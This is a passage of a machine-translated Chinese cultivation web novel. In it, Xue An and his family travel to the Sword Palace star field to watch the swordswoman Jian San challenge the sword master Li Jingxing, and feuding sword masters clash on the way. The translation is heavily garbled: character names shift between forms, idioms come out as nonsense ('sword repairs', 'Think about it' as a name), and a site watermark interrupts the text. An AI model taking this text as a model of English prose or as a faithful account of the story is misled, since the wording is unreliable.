    The goal this time was Li Jingxing, the master of Buried Sword Mountain, who has been in charge of the sword palace for hundreds of years, and claims that his strength can rank among the top ten sword repairs of the heavens.


    The courage and tenacity in this are enough to move people.


    At least the entire heavens were boiling over with this news.


    "What? How long did Jian San, the crazy lady defeating Peerless Sanxiu Qiu Yiye, have challenged the Lord of Buried Sword Mountain, doesn''t she need to rest?" Jianxiu was almost mad after hearing the news. Said.


    You must know that Qiu Yiye, who was defeated by Sword III, had no discipline, but he could be regarded as one of the strongest sword repairers in the heavens, and his strength should not be underestimated.


    At that time, the woman who was also named Jian Si had been fighting with Qiu Yiye for ten days before finally winning.


    It didn''t take long before she actually challenged Li Jingxing.


    No wonder these swordsmen are crazy.


    Because in the realm of Qiuyiye and Jiansan, the loss of a battle to oneself is unimaginable.


    This kind of loss not only refers to cultivation and physical strength, but more importantly, the consumption of one''s own mood.


    If you are not careful, you may have a wrong mood and damage your cultivation.


    Therefore, the general strong will choose a secluded place for several years of recuperation after the war, just to prevent deviations in the state of mind and spiritual consciousness.


    The only exception is Sword Three. She doesn''t seem to have to rest at all, and in the past few years she has been frantically challenging major sword repairs.


    The speed of this challenge is simply jaw-dropping and suspicious of life.


    But apart from this idea, almost all the sword repairmen in the heavens have paid unusual attention to this battle.


    Because it is different from the previous Qiu Yiye and others, this time the sword three challenges the master of Buried Sword Mountain who has been suppressed for hundreds of years!


    Although he hasn''t shot for a long time, his strength is beyond doubt.


    Especially after a period of disappearance, after returning, Li Jingxing heard that his strength had progressed again.


    One is a long-established powerhouse, and the other is an unstoppable newcomer.


    How can such a peerless battle not attract people''s attention.


    Therefore, for a while, the sword repairs of the entire heavens were all moved to the sword palace star field.


    Unlike the excitement of these sword repairs, the reactions of other sects of the heavens are different.


    Some are excited, and some disagree.


    But unexpectedly, this news actually overshadowed Xue An''s incident.


    The two super sects, Renhuangdian and Xuanmingling, all lost their voices, and there was no more movement.


    This abnormal situation has also attracted the attention of many interested people.


    No matter it is, no one would believe that Renhuangdian and Xuanmingling would just let it go.


    For this reason, the sudden silence of these two sects faintly revealed a hint of ominousness.


    Not only that, many people also turned their attention to the Pure Land Buddha Kingdom, wanting to know what the troubled Red Lotus Immortal Venerable is doing at the moment.


    Have you felt the seriousness of the situation?


    But unlike these people''s imagination, Xue An at this moment, instead of not having the slightest pressure, is lying leisurely on the sofa in the Fubao building, with a relaxed expression on his face.


    An Yan was sitting beside him, gently kneading his shoulders.


    While rubbing, An Yan said with some worry: "Husband, I just heard Yue Jing say that the swordsman girl I''ve seen on earth before is going to challenge your good friend Li Jingxing!"


    "You were wrong, she is no longer called Jianqi, but Jiansan!" Xue An said lazily.


    "Oh, what shall we do?" An Yan asked.


    "What should I do?" Xue An raised his head and asked with a smile.


    "Should we not do something?" An Yan asked in surprise.


    Xue An smiled and shook his head, "I understand what you mean, but we don''t have to do anything, and don''t try to mediate, because this is originally the fate of Jian Xiu, either on the road to challenge others, or waiting for others. Challenged!"


    Speaking of this, Xue An couldn''t help but sighed, "Speaking of which, this Sword Seven is really crazy enough. In just a few years, it has been promoted by four rankings, and even Qiu Yiye has lost her hands! "


    "Then my husband, who do you think will win or lose this time?"


    Xue An shook his head again, "I don''t know!"


    The color of surprise on An Yan''s face couldn''t help getting stronger, because this was the first time Xue An said that he didn''t know so frankly.


    "To be honest, I guess no one in the heavens can guess what the outcome of this battle will be! Because Jian Xiu is the genre of cultivation that requires the least seniority. As long as your talent is strong enough, you can kill those who have been practicing for thousands of years. This may be the charm of Kendo!"


    "Then are we going to watch the battle?" An Yan asked.


    "What? You want to go?" Xue An asked with a smile.


    An Yan was a little embarrassed, "I want to see the excitement!"


    Xue An smiled, just about to speak, then suddenly raised his eyes and looked at the sky of Fu Bao Xiaolou.


    At the same time, but saw a sharp and unparalleled sword light directly hit the sky of Fubao Xiaolou, flew straight to Xue An, and then stopped abruptly.


    Only then did he see that a letter paper was wrapped in this sword light.


    There are a few large letters on the letterhead.


    Xue An kissed him.


    The signature is the two characters of Long Feifengwu.


    Sword Three!


    Seeing this name, An Yan couldn''t help being stunned.


    Xue An showed a wry smile, then sighed and shook his head.


    "Can''t you send me a letterhead to be gentle? It has to be so violentBe careful not to marry in the future!"


    With that, Xue Anxin picked up the letterhead and opened it.


    There are only a few very simple words in it.


    Red Lotus Immortal Venerable, I have been away from the earth for several years, and now I have become the third person in kendo. Only Li Jingxing and you in the world can beat me in kendo.


    This time I challenged Li Jingxing, I hope you can come to watch the game.


    After I defeated Li Jingxing, it will be your next turn. I hope you will prepare in advance.


    By the way, there is one more thing to tell you.


    The trick you taught me before is really very useful.


    So guess who is my love?


    At the end of the letterhead is a line of hahaha.


    Xue An took this letterhead, but couldn''t smile.

 Chapter 2039： Think of the scary talent

    Because at this moment, An Yan is standing beside him.


    She read the letterhead first, and then looked at Xue An meaningfully.


    Xue An was embarrassed by the piercing eyes.


    "Uh, Yan''er, listen to me quibble you...ah no no no! It''s an explanation..."


    But An Yan didn''t listen at all, just said lightly: "No need to explain, now pack things up, I will go to the sword palace with you to watch this battle!"


    Xue An was silent for a moment, then nodded helplessly.


    "it is good!"


    Xue An''s departure this time was silent.


    Because the situation in the heavens is extremely tense now, it doesn''t matter if it''s just Xue An himself.


    However, An Yan insisted on traveling with her. In order to ensure her safety, Xue An did not make any publicity. He simply told Yue Ji and Phoenix��s captain Cheng Hao a few words, and then prepared to leave in a low-key manner.


    Of course, if An Yan wants to leave, the two little girls will naturally follow.


    And since the two little girls followed, Xiaosha and Zhang Xiaoyu, the pair of live treasures, would not fall behind.


    But this time they could not enter the Fubao Xiaolou.


    Because the rune ball needs to stay in the Pure Land Buddha Kingdom to water the tens of thousands of acres of medicine fields.


    So Xue An simply asked them to change their appearance a little bit, and then rushed to the sword palace star field in an ordinary star boat.


    The Sword Palace Star Territory is very far away from the Pure Land Buddha Kingdom, but because of sufficient time, Xue An did not hurry on the road, but let the star boat gallop in the void.


    Because in the recent period, Xue An has been tossing around the heavens and has hardly rested.


    So just take advantage of this rare leisure time to accompany the two little girls.


    Speaking of which, if the two little girls were divided according to their age on the earth, they would already be over ten years old.


    But because of their own talents being too strong, the growth of the two little girls was much slower than that of ordinary people.


    Now it looks like a little girl of seven or eight.


    But Xue An understands that no matter how slow the growth is, the child will grow up someday.


    Therefore, in order not to leave any regrets, Xue An will accompany the children as much as possible.


    Like now.


    Xue An played backgammon with two little girls in a serious manner.


    In fact, with Xue An''s mental knowledge and calculation ability, this kind of gobang can win with closed eyes.


    But for the happiness of his two daughters, Xue An still got up very "seriously".


    "Hahaha, Dad, you lost again!" Thinking about it, suddenly clapped and laughed.


    Nian Nian hurried over to take a look.


    really.


    On the chessboard, Bai Ziye, who belongs to her sister, has become five sons.


    "Wow, my elder sister is so amazing, she actually beats Dad!" Nian Nian was amazed.


    Xue An smiled slightly, "Yes, it''s really amazing to think about it!"


    "Come on again, but this time we will be a little more complicated." Think about it and say confidently.


    "Oh? How complicated?" Xue An asked with interest.


    "Hey, we can''t even watch the chessboard. We only play chess based on dictation. My sister is responsible for restoring the chessboard according to what we say. In the end, we must rely on our own judgment. Is this okay? Said.


    Nian Nian on the side sounds silly, "Wow... it sounds complicated!"


    Xue An couldn''t help but startled slightly, and immediately looked at his eldest daughter, a faint smile gradually appeared on his face.


    "Naturally I have no problem, the key is how did you come up with these methods?"


    "I didn''t have anything to think about it, because my sister is so stupid, it''s boring to play chess with her, so I use this method to play chess with myself." Think about it.


    Nian Nian blushed and muttered softly, "I''m not too stupid, just a little bit stupid..."


    The smile on Xue An''s face can''t help but grow stronger, "It turns out that this is the case, so good, then dad will accompany you to the next game!"


    Soon, the two put the chessboard aside and began to dictate that they played blind chess.


    The final result also shocked Xue An.


    Because he found that he lost the first set very quickly without paying attention.


    Think about smiling and saying: "Dad, you have lost again, are you still coming?"


    Xue An took a deep breath, took a deep look at his daughter, then nodded, "Of course I am coming!"


    In this second game, Xue An no longer had any contempt, but instead focused on thinking about playing chess.


    But the result is still the same, still lost.


    And there is no suspense in losing.


    Xue An felt that although he had calculated all the coping strategies, he could always see the flaws in the chess game and easily defeated himself.


    "Are you coming?" I asked again after thinking about it.


    Xue An nodded, "Come on!"


    The next three consecutive sets, Xue An lost all three sets.


    At this time, even An Yan and Xiao Sha couldn''t help but leaned closer, looking at them with amazement.


    After the last game of chess, Xue An remained silent, quietly watching and thinking.


    Think about it a little unclear so, "Dad, what do you always look at me for?"


    Xue An''s face gradually burst into a smile, "It''s nothing, it''s just a sigh!"


    With that, Xue An stood up and came to the porthole.


    When I think about it, I don''t understand Xue An''s meaning, but the child''s nature makes her quickly forget these things and start playing with Niannian.


    An Yan walked to Xue An''s side and said softly: "Husband."


    "Yeah." Xue An didn''t turn his head back.


    "What''s wrong with you?" An Yan asked.


    Xue An sighed, "It''s nothing, just suddenly felt some pressure!"


    "Pressure? What pressure?" An Yan was a little surprised.


    Xue An said indifferently: "Yan''er, do you think who is more talented to miss or miss them?"


    "This... should all be the same."


    "You tell the truth."


    "It should be... Nian Nian!" An Yan whispered.


    Xue An nodded, "I thought the same way before. After all, Nian Nian''s utterance is an extremely talented person, but now I am not so sure! Because..."


    "Think of the talent for computing that is revealed today, combined with her natural talent for peeking at everything, it is very likely that she will grow into a very terrifying talent.


    "What talent?" An Yan couldn''t help being serious, and asked in a deep voice.


    "Unexpected prophet!"


    An Yan couldn''t help being shocked by Xue An''s words and asked with a trembling voice: "An unknown prophet?"


    Xue An nodded solemnly, "Yes!"


    Suddenly An Yan was speechless, and then fell into deep concern.


    Others are worried that their children are not good enough, but Anyan is worrying about how good his children are.


    Because even An Yan can imagine, if you think about this talent that you have, what kind of storm will be set off in the heavens.


    After all... no one can refuse the temptation to predict the future in advance.


    Seeing An Yan��s concern, Xue An lightly sighed: ��The pressure I just felt just now also comes from this, but you don��t have to worry too much. After all, with me, the two of them will naturally grow smoothly. Big."


    "As for those who dare to covet their talent..."


    An extremely cold killing intent flashed across Xue An''s eyes, "I will let them understand the price of blood."

 Chapter 2040： Jiu Jian Xian

    This little storm soon subsided, and even Xiaosha and Octopus didn''t know what happened.


    And after several days of trekking, the star boat that Xue An and the others drove finally arrived at the sword palace star field.


    Thinking and Nian Nian lay on the porthole, looking at the void outside, exclaiming, "Wow, it''s so lively here!"


    Because just in the void outside the sword palace star field, all kinds of dazzling star boats are simply squeezed.


    Many more sword repairers flew in and flew in, and then gathered together in groups, turning the entire void into a bazaar.


    In contrast, the starship that Xue An was riding in seemed very inconspicuous.


    "Dad, what are these people doing?" Nian Nian asked.


    Xue An chuckled lightly, "They... they are all here to watch the fun!"


    "Watch the fun? Is the fun so good?" Nian-nian fell into deep doubt.


    Xue An smiled slightly, just about to speak, at this moment, a scarred starship suddenly broke out in the distant void, and then stumbled and flew over here.


    Wherever they passed, the many star boats all retreated, and then they screamed.


    "Fuck, you don''t have eyes when you open Xingzhou? I haven''t seen anyone here!"


    "This grandson shouldn''t be drunk! Look at the traces on the star boat, you haven''t hit it all the way!"


    Despite the scolding, the star boat still went its own way and flew straight forward.


    Boom!


    Xingzhou directly slammed into a giant that couldn''t dodge, and the speed was so fast that even the huge mountain-like carriage flew out crookedly.


    As for the front face of this starship, it was even broken.


    "Fuck, would you **** drive a star boat?" A young man in a Chinese suit flew out of this giant, roaring angrily.


    There was a commotion in the crowd.


    Someone whispered: "This person is Ye Kongming, grandson of the old man washing sword! Since he is here, the old man washing sword must be on top of the giant man."


    "This star boat is terrible now, and the old man with sword washing is not easy to provoke."


    But despite the discussions from the outside world, the damaged starship remained unmoved.


    "Son **** pretend to be dead, are your eyes blind? Can''t you even see such a big giant? I think you came to find something on purpose. Get out of me quickly, otherwise don''t blame me for being polite Now." Ye Kongming said with a sneer.


    It seemed that his remarks had an effect, and Xingzhou trembled for a while, followed by a loud noise.


    The door of Xingzhou was kicked out directly, and then a middle-aged man with disheveled clothes and full of alcohol walked out from it staggeringly.


    He first gave the audience a drunk look, grinned, and then he hiccuped.


    The strong scent of alcohol came out, and all the people who had smoked close backed away, covering their mouths and noses with their hands, showing a look of disgust.


    Ye Kongming was also taken aback, even Xuan was even more angry.


    "Okay, I dare to drink and drive, kid, if you don''t give me an explanation today, don''t even think about leaving."


    "What?" The middle-aged man picked up the gourd around his waist, gulped madly, and then let out a comfortable breath.


    "What do you want to say?"


    "Nonsense, of course it is compensation!"


    The night sky was full of arrogance and pointed to the giant behind him, "Did you see? This giant was built by the master of Shenzhoumen. It is a rare boutique, but now it has been damaged by you. Tell me how to compensate!"


    The middle-aged man squinted his eyes and glanced at the giant in front of him, then grinned, "Then how do you want to compensate?"


    The night sky condescendingly looked at the middle-aged man a few times, and frowned slightly, "I can''t afford to pay for your sourness, so let''s go, now you kneel down and kowtow at me, call me grandpa a few times. I''m happy, and forget about it, otherwise..."


    Ye Kongming sneered a few times, "I want to let you go, but the sword in my hand won''t agree."


    His proposal did not arouse any objection.


    After all, it was this man who did the wrong thing first, and if he couldn''t afford it, there is nothing wrong with kneeling down and asking for forgiveness.


    But Xue An in the distance couldn''t help sighing after witnessing this scene.


    "This guy is probably going to be unlucky."


    An Yan couldn''t help asking, "Why do you say that?"


    "Because of this man''s identity... it''s not that simple!"


    "According to you, this drunk man is also a master?" An Yan said in surprise.


    "More than just a master, his status is much higher than this so-called old sword washing man."


    Speaking of this, Xue An looked at the man in the distance through the porthole with a smile.


    "After all...Although the name Jiujianxian did not make the top ten, it has a unique character among the sword repairs of the heavens! There is no stranger and strange sword than him!"


    An Yan seemed to understand, but if anyone else heard the three words Jiu Jianxian, they would be extremely shocked.


    Because this name represents a legend.


    Similar to the peerless Sanxiu Qiu Yiye, no one knows what school the Jiujianxian comes from, or even what his true age is, and when he became famous.


    People only know that in the sword repairs of the heavens, there is a super master who loves things in the cup and is even more bohemian.


    It''s just that its people have always seen the dragon without seeing the head, and many people have only heard of this name, and have never seen a real person.


    Therefore, among the people present at the moment, only a few people such as Xue An guessed the identity of this man, but no one came out to say it, just watched quietly from the side.


    Sure enough, After hearing the clamor of Ye Kongming, the Jiujian Immortal was not angry at all, but looked at him grinningly.


    It wasn''t until the night sky was a little hairy that he smiled and said, "Listening to you, are you also a sword repairer?"


    "Nonsense, my grandfather is a dignified old man washing sword. I learned art from his elder''s knee since I was a child, so I am naturally a sword repairman who is like a fake replacement." Ye Kongming said proudly.


    "The old man washing sword..." Jiu Jianxian muttered softly, and then nodded with a smile, "If you say that, you can barely count as a sword repairman. And since you are a sword repairman, you might as well. ."


    "I hit your car, and I can��t afford to pay for it, but you can chop me three swords. If I am fine after the three swords, the account will be exposed. If I lose, then I will die. He died, what do you think?"


    Hearing this proposal, Ye Kongming was startled slightly, and even sneered again and again.


    "Weird things happen every year. There are so many things this year. There are still people rushing to find death! Well, since you toast and not eat fine wine, don''t blame me for being ruthless!

 Chapter 2041： Unlucky old man washing sword

    "Don''t be merciful, it just happens that I''m tired of drinking recently, and activities are good too!" Jiu Jianxian said with a smile.


    "Huh!" Night Sky snorted coldly, flipping his wrist, and a long sword that resembled an autumn water suddenly appeared in his hand.


    Ye Kongming''s expression became awe-inspiring, and he said solemnly: "This sword was rewarded to me by my grandfather''s hand, and the name is Xichen. Today you can die by its blade, and this life is not in vain."


    Jiu Jianxian just chuckled at this, then picked up the gourd around his waist, and started drinking again.


    This attitude of complete ignorance made the night sky furious, "The fanatic takes the sword!"


    After speaking, he raised his hands flat, then cut down with a sword.


    I have to say that this night sky clearly has a bit of pride.


    The momentum and heat of this sword alone were enough to crush most of the sword repairs present.


    But Jiu Jianxian chuckled and shook his head when facing this sword, and then closed his eyes.


    Many people cried out in exclamation, and the night sky was even more humiliating, and the killing intent became thicker.


    In an instant, Jian Guangye had been cut to the top of Jiu Jianxian''s head, and as long as one hundredth of a second passed, this sword could completely cut Jiu Jianxian in half.


    But at this moment, Ye Kongming suddenly felt that the sword in his hand was stagnant in the sky, and could no longer be stored.


    Unexpectedly, Ye Kongming''s wrist made a few bangs, and almost was directly broken.


    Then I saw Jiu Jianxian holding the Xichen sword of Ye Kongming with two fingers, and said lightly: "This is the first sword."


    Ye Kongming''s face instantly turned into a sauce purple, frantically twitching out, trying to pull the sword out of Jiu Jianxian''s fingers.


    But he found that the drunk man in front of him only stretched out two fingers, but he was like two unshakable mountains, and he couldn''t move no matter how hard he tried.


    Just as he was desperate, Jiu Jianxian smiled slightly and suddenly let go of his hand.


    Ye Kong Ming couldn''t stop, and back again and again, he didn''t stand still until seven or eight steps later, and his face became extremely ugly.


    Jiu Jianxian said lightly: "Come again."


    At this time, no one in the audience dared to look down on the man who was full of alcohol.


    Combined with his performance, many people have faintly guessed his identity and can''t help but get a little commotion.


    Ye Kongming only felt that blood was surging, he gritted his teeth abruptly, and raised his hand to cut out a second sword.


    But at this moment, an old and majestic voice came from behind him.


    "Ming''er can''t be rude, and don''t step aside."


    Hearing this sound, Ye Kongming''s whole body was shaken, even if he reluctantly retreated to the side.


    At the same time, a few sword lights suddenly flew out of the giant dragon, and after falling, the leader was a white-haired celestial elder.


    It is Ye Bufan, the famous old man washing sword.


    When he appeared in front of everyone, the commotion in the audience intensified.


    This Jiujianxian had a calm expression on his face, and he drank a few more guts.


    Ye Bufan took a deep look at him, then took a step forward and bowed his hands in graciousness, "Junior Ye Bufan, I have seen Senior Jiujianxian Linghu Jue."


    The audience was shocked when he said this.


    Including this night sky Ming is also stupid.


    In any case, he did not expect that the person he had just raised his sword against would actually be the famous wine sword fairy Linghujue.


    As soon as I thought of this, Ye Kongming felt that his heart was cold.


    Fortunately, Grandpa came in time, otherwise he wouldn''t even know how he died.


    Even though Ye Kongming is arrogant, he still has this self-knowledge.


    After all, his grandfather must respect senior''s top sword repairer.


    Facing Ye Bufan''s salute, Linghu must be silent for a moment, then even smiled freely.


    "Have you seen it in a hundred years, have you actually become this kind of virtue?"


    Ye Bufan looked embarrassed, and sighed lightly: "The younger generation had gone astray and almost went astray, so they turned their heads overnight."


    Linghu definitely waved his hand, "Judging from the temperament of the grandson you taught, it''s not surprising that you''re crazy."


    After all, Linghu Jue stopped talking nonsense, and directly flew up, turning into a sword light, and flew to the sword palace star field.


    In the blink of an eye, his figure had disappeared without a trace, leaving only Ye Bufan standing in place with an embarrassed look.


    But he couldn''t even say a word about it, because the general temperament of this large group of Jian Xiu was like this, and he said what he wanted, going straight forward, never knowing that it was hidden.


    In desperation, he could only wave his hand, "Let''s go."


    Even though Ye Kongming wanted to say something, after seeing the look on his grandfather''s face, he dared not say anything.


    Everyone turned around and was about to leave.


    You said it was a coincidence, that is, at this moment, another star boat broke out in the void not far from that giant.


    This Xingzhou is much newer than that of Jiujianxian. At the same time, there are dense long thorns erected at the front end of the Xingzhou, which makes it creepy at first sight.


    After the starship appeared, it rushed forward at a crazy speed before everyone could react.


    It''s not dead, because Ye Bufan and Ye Kongming are not above the giants, the giants have lost their command and are quietly floating in the void.


    Therefore, after just one finger, the two collided.


    boom!


    Hearing a loud noise, the long thorns in front of the star boat sank directly into the cabin of the giant ship, and then penetrated from the other end.


    The inside of the giant shook unceasingly, and then sprayed flames and smoke from the outlets.


    That is the long thorn of the star boat smashing the power core inside the giant scorpion, which caused an explosion.


    Not only that, the star boat was like a ruthless elephant. After the collision, it still didn''t slow down at all, but it still pushed forward madly.


    The giant ship''s hull let out a burst of overwhelmed groans, and then was torn apart under the action of this huge force.


    Seeing this scene everyone''s eyes couldn''t help but be round.


    Especially Ye Bufan and Ye Kongming''s grandparents were even more daunting.


    They didn''t expect that it was just a matter of time, that their own giant that was built with a lot of money was first chased by the drunk star boat, and then treated so rudely, and even torn in half.


    How could this not shock them.


    at last.


    The speed of this star boat gradually slowed down, and looking at the giant at this moment, it was completely torn to pieces.


    Parts and twisted shells were scattered, all over the void.


    This tragic situation finally awakened both Ye Bufan.


    "Fuck, my giant!" Ye Tianming roared, and then jumped out desperately, and then stopped the way of the star boat in desperation.


    "Boy, would you **** drive a star boat? Was it deliberately hit?"

 Chapter 2042： Pretty, this is the end!

    This sentence seems familiar, but at this time the night sky clearly can''t care about that much.


    His heart was dripping blood.


    As a young man, he only likes two things, one is the sword, and the other is the giant star boat.


    He spent a lot of money to build this giant, and it was delivered only two days ago. This is the first time it has been unveiled today.


    But I didn''t expect this giant to be so fateful.


    It only lasted for a few days, and it ended up like this.


    Just as the night sky was about to cry without tears, an extremely cold voice came from the starship.


    "what did you just say?"


    Following the voice, I saw a man wearing a gray shirt, long gray hair, and his pupils glowing gray, walking down from the starship.


    The man''s face didn''t look very different, but when he stood in front of everyone, it made people feel so cold from the bones.


    The night sky was also stunned.


    The man tilted his head and looked at him a few times, and then his gray-brown lips gradually lifted up, revealing a wicked smile.


    "Did you just scold me?"


    The night sky shuddered and Lingling shuddered, and a thick color of astonishment appeared in his eyes.


    This panic even made him unable to speak.


    The audience was quiet and terrifying.


    In the distant starship, Xue An''s eyes flashed Guanghua, and he whispered softly: "It''s actually him! Now this old sword washing man is in trouble."


    "Husband, who is this little gray man? Is it amazing?"


    Xue An nodded, "Very powerful. In fact, if he is ranked according to pure kendo cultivation, this person will definitely be in the top ten of the heavens, but he has a strange temperament, so he has repeatedly lost the election."


    Not only Xue An, but many people present recognized the man for the first time, and the atmosphere in the court instantly became extremely depressing.


    Many cowardly people even stepped back quietly, for fear that they would have any intersection with this demon.


    "Huh?" The man raised his eyebrows, "Don''t you speak?"


    As he said, he had to step forward.


    At this moment, Ye Bufan suddenly appeared in front of his grandchildren, and then bowed and swept the floor, "Ye Bufan, I have seen Senior Feng Ziming, the Venerable Evil Sword. The child is ignorant, and I hope that Senior will forgive me!"


    That''s right!


    This man with a faint gray air from head to toe is Feng Ziming, the prestigious Evil Sword Venerable among the heavens.


    Speaking of this Feng Ziming, it can be said that it is an existence that makes anyone feel painful when they mention it.


    Because of his evil nature and perversity, he never emphasized good and evil rules, but acted solely on his own emotions.


    Therefore, he is also called a lunatic Ming.


    But it is such a existence, but it has an extremely high level of kendo cultivation.


    Unexpectedly, he actually came this time.


    Compared with this magic star, this old sword washing man is nothing at all, let alone the night sky clear.


    Therefore, in order to save the lives of his grandchildren, the old man Xijian couldn''t take care of his face, so he respectfully saluted Feng Ziming, hoping that he could raise his hand and let his grandson a horse.


    The whole audience could hear the rapid breathing of Ye Kongming.


    At this moment, this dull boy finally felt what it meant to be fear, standing there with a pale face, his hands and feet trembling constantly.


    Feng Ziming did not respond, but coldly looked at the old man Xijian who bowed to the ground, and then sneered slightly.


    "I think who has such courage, it turns out to be a descendant of the Ye Family, no wonder it is so arrogant!"


    Hearing these words, Ye Bufan''s forehead couldn''t help showing dense cold sweat.


    Because these words clearly did not let go of his grandchildren''s plan.


    So he could only gritted his teeth and raised his head with a flattering smile: "Senior Feng is so polite. The kid is not sensible. Why should you be in the same position as him?"


    Feng Ziming sneered, then turned his head and glanced at the smashed giant in the distance.


    "This giant is yours!"


    "Yes!"


    "Then why did you deliberately place it on the road I passed by, saying, are you deliberately against me?"


    When Feng Ziming said these words, the expression on his face was extremely cold, and a dangerous light flashed in his gray eyes.


    After hearing the words, the ancestors and grandchildren of the Ye family couldn''t help being dumbfounded.


    What is the reason?


    Obviously it was the giant he smashed, but now he raked it backwards and asked why he put the giant on the path he must pass.


    There is no such truth in the world.


    Not only them, but even the onlookers looked dumbfounded.


    Feng Ziming had already said this to the end, and it was impossible to even think of how to refute it for a while.


    "You can''t say what I asked!" Feng Ziming sneered a few times, then said with an arrogant expression.


    "Now I give you two choices. The first is to let me kill your grandson, and the second is to kneel down and apologize to me. Please forgive me. Otherwise, don''t blame me for being polite."


    Ye Kongming finally understood where the feeling of deja vu came from.


    Isn''t Feng Ziming''s remark just what he just said to Jiu Jianxian?


    Unexpectedly, Feng Shui would take turns, and retribution would come to him so quickly.


    At this time, the face of Old Man Washing Sword Ye Bufan also showed a touch of anger.


    This is really deceptive.


    Even though he is not as strong as this Feng Ziming, it doesn''t mean that he can be so insulted.


    If he is counseled now, then he won''t have to hang around in the heavens.


    Feng Ziming noticed the anger in Ye Bufan''s eyes, and a look of expectation appeared on his face.


    He just likes the feeling of driving people to an explosion.


    Especially after the opponent broke out, when he killed him with a single sword, it would make him feel very fulfilled.


    But just when this battle is about to be triggered.


    suddenly.


    Several sword lights flew out of the sword palace star field, and came to the top of everyone in the blink of an eye.


    After Guanghua dissipated, UU read www.uukanshu. The leader of com is a woman with her hair in a bun but dressed as a teenager.


    When she appeared, the audience instantly quieted down.


    Because people can see her identity from the clothes she wears.


    Three small swords were embroidered on her clothes before her chest and abdomen.


    These three small swords meant that she was walking with three swords under the sword palace gate.


    We must know that there are eight great walks under the gate of the sword palace. Except for one who has not seen his true face in Lushan since its creation, the other seven great walks are based on the level of kendo cultivation.


    Starting from the lowest eight swords apostle, until the highest double sword is in the sky.


    And the woman in front of her is actually walking with three swords, which shows that her strength is absolutely extraordinary.


    After seeing this woman, An Yan in Xingzhou couldn''t help but let out a slight surprise, "Husband, isn''t this the girl Jian Zaixinjian we saw in the abyss before?"


    Xue An smiled, "Yes! It''s her!"

 Chapter 2043： Famous swords gathered to watch this battle

    Before in the abyss, Xue An once ran into Jian Zaixin who was looking for Li Jingxing''s whereabouts.


    Unexpectedly, I saw her again here.


    It''s just that at this moment, Jane is in the heart, and she is far different from the previous one who was trapped in the **** of killing.


    Not to mention anything else, just the awe-inspiring sword intent on his body is enough to be daunting.


    Not to mention that at this time, at the gate of the sword palace, under the blessing of the supreme sword intent that dozens of generations of sword repairs have condensed for thousands of years, Jian Zai''s heart is like the incarnation of heaven, which makes people afraid to look directly.


    Even Feng Ziming, the always arrogant and domineering Venerable Evil Sword, had to shut his mouth at this moment and stood there obediently.


    at last.


    Jane''s gaze swept across the faces of everyone present, and then said in a calm and majestic tone: "The Sword Master has an order and invites everyone to enter the Star Territory to watch the ceremony.


    boom!


    Hearing this, the whole audience was boiling, and many people were surprised.


    Because no one thought that such a good thing would happen.


    I thought it was enough to be able to wait for the news of the war outside the star field, but I didn''t expect to be invited into it to observe the ceremony. This is a great honor.


    Therefore, for a time, the audience was a voice of approval and response.


    "Thank you Sword Master!"


    "Thank you, Lord Three Sword Walking!"


    These shouts one after another.


    Jane didn''t have any expression in her heart, she just gave Feng Ziming a meaningful look, and then said lightly: "Don''t thank me, this is what the sword master meant, but you can enter the ceremony. If someone wants to take the opportunity to make trouble, don''t Blame the sword in my hand for being ruthless!"


    These words were murderous, and they were clearly meant for Feng Ziming.


    Feng Ziming naturally understood this truth, but he didn''t have an attack. Instead, he laughed a few times, ignored the old man washing sword, turned and left.


    Immediately afterwards, Jian Zaixin led the way, and everyone followed closely, rushing into the sword palace star field.


    The star boat that Xue An and the others was riding in was also mixed in, without attracting anyone''s attention, it entered it smoothly.


    now.


    In this sword palace star field, a high platform has been built.


    The whole body of this high platform exudes soft fluorescence. In the middle of the high platform is also a flagpole, and a large flag is flying on the flagpole.


    A golden sword is embroidered on the banner, which looks extremely majestic and extraordinary. It is the symbol of the sword palace.


    And along the foot of the high platform are placed successively layered stands.


    now.


    The stands were already full of people who came to watch the ceremony, and many of them were famous swords.


    The crowd talked a lot, and they were obviously talking about the coming battle.


    "If Jiansan wins this battle, no one in the heavens except the Red Lotus Immortal Venerable will be able to stop her from moving forward!" Someone sighed lightly.


    "Isn''t the Red Lotus Immortal Venerable Fa Xiu? How could it be considered a sword repair?" Some young people wondered.


    "You don''t know that, this Red Lotus Immortal Venerable is unique in both magic and sword, especially his red lotus sword intent, which is unique in the world and invincible."


    "Wow, is it so powerful?" The young man listened leisurely.


    Suddenly someone nearby sneered, "Hehe, no matter how powerful it is, it still won''t last long. After all, the people''s palace and Xuanmingling are not vegetarian."


    The people around were all silent.


    Because this matter is beyond the scope of their discussion.


    It wasn''t until a long time later that someone sighed slightly: "I''m ashamed to say that I''m waiting for the man to be crushed on the head by a female stream. If Li Jianzhu couldn''t stop her this time, then we male sword repairmen would not be able to raise our heads. coming."


    Many men nodded in agreement.


    At this moment, Jane led everyone to the stands.


    These new arrivals caused another commotion in the field.


    Among them, those who are familiar with each other couldn''t help but greeted loudly.


    But there are still many people who are usually at odds and even have hatred. At this time, they can only stare at each other fiercely, but they dare not make any moves.


    Because this is where the Sword Palace Star Territory is!


    Which dare to make trouble.


    To say that the most eye-catching among them, it must belong to this Venerable Evil Sword Feng Ziming.


    I saw him walking forward in a carefree manner, wherever he passed, everyone backed down for fear of avoiding it.


    After all, no one wants to fight against a madman.


    As for the pair of grandfathers, Ye Bufan and Ye Kongming, the old man washing sword, they hid in the crowd in a desperate manner, for fear of attracting the attention of others.


    at last.


    The commotion gradually subsided.


    People began to look forward to the coming of this war.


    At least those who can appear here are strong people above Da Luo, who are naturally patient, even if they wait for ten days like this, it doesn''t matter.


    But this kind of unbearable boredom and loneliness is a waste of people''s will.


    So soon someone began to talk in a low voice, unable to hold back.


    Xue An led An Yan, who was dressed in disguise, and his two daughters, Xiao Sha Zhang Xiaoyu and others stood on the back stand.


    The two little girls huddled together and whispered something, laughing from time to time.


    An Yan also chatted with Xiaosha and Zhang Xiaoyu.


    Only Xue stood there quietly.


    At this moment, after looking back several times, a man beside him finally couldn''t help but ask: "Friend, what is it? Do you still bring a family of children to watch the fun?"


    Xue An glanced sideways slightly.


    The speaker was a man with a goatee, his eyes gleaming, and his bones revealed a shrewd and capable man.


    Xue An couldn''t help but smile, "Yes, staying at home is also waiting, just to take them out to see the world!"


    "Yes, children should really exercise like this, otherwise staying at home all the time will easily become a frog in the bottom of the well!"


    The man said with a sigh on his face, and then naturally took out a jade box from his pocket. After opening it, there were black long sticks inside.


    "Come on!" The man handed one over.


    Xue An did not refuse and took it directly.


    Then he dangled it slightly in his mouth, and the end of the long stick ignited.


